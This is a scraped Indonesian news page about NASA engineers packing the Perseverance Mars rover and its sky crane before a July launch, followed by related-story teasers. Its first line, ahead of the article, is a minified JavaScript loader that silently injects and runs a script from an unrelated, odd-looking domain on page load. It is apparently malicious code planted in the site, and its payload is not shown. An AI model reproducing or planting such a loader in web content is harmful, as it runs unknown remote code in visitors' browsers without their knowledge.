(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA– NASA sedang bersiap-siap untuk peluncuran robot penjelajah Mars berikutnya pada 17 Juli mendatang.
Para insinyur di Kennedy Space Center NASA, Florida, mulai mengemas penjelajah yang disebut Perseverance dan perangkat keras yang dibutuhkan dalam konfigurasi untuk lepas landas.
Proses pengemasan telah dimulai pada 23 April. Menurut pejabat NASA, pada hari pengemasan itu robot penjelajah seukuran mobil diintegrasikan dengan “sky crane” yang akan menurunkan Preseverance ke permukaan Mars.
“Memasang rover ke descent stage adalah tonggak utama bagi tim karena ini adalah komponen pesawat luar angkasa pertama yang secara bersamaan akan diluncurkan,” ucap David Gruel dari Jet Propulsion Laboratory NASA, seperti dikutip laman Space.com, Senin (11/5/2020).
Selain itu, pada 29 April, para insiyur juga telah melekatkan penjelajah dan sky crane pada kulit belakang. Struktur kerucut ini berisi sistem parasut dan membantu melindungi perangkat keras pesawat luar angkasa selama perjalanan misi melintasi atmosfer Mars.
Perseverance diprediksi akan medarat di Kawah Jezero, Mars, yang memiliki diameter 45 kilometer pada Februari 2021. Penjelajah itu akan melakukan penelitian sains di Planet Merah yang diyakini memiliki sebuah danau dan delta sungai di masa lalu.
Perseverance akan mengikuti jejak pendahulunya, Curiosity yang telah menjelajahi Kawah Gale di Mars sejak Agustus 2012. Curiosity sendiri memiliki misi utama untuk menilai kelayakhunian Kawah Gale di masa lalu.
Desain penjelajah baru ini sendiri terinspirasi oleh Curiosity, dengan beberapa komponen yang telah teruji tetapi juga dengan instrumen ilmiah baru dan bor inti untuk pengambilan sampel. Penjelajah ini juga akan membawa helikopter drone.
Perseverance pun tidak akan hanya berfokus pada masa lalu Planet Merah tetapi juga pada masa depannya. Analisis air bawah permukaan dan karakterisasi berbagai faktor lingkungan dari debu hingga cuaca, akan sangat penting dalam perencanaan ekspedisi manusia ke Mars di masa depan.(suara.com)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.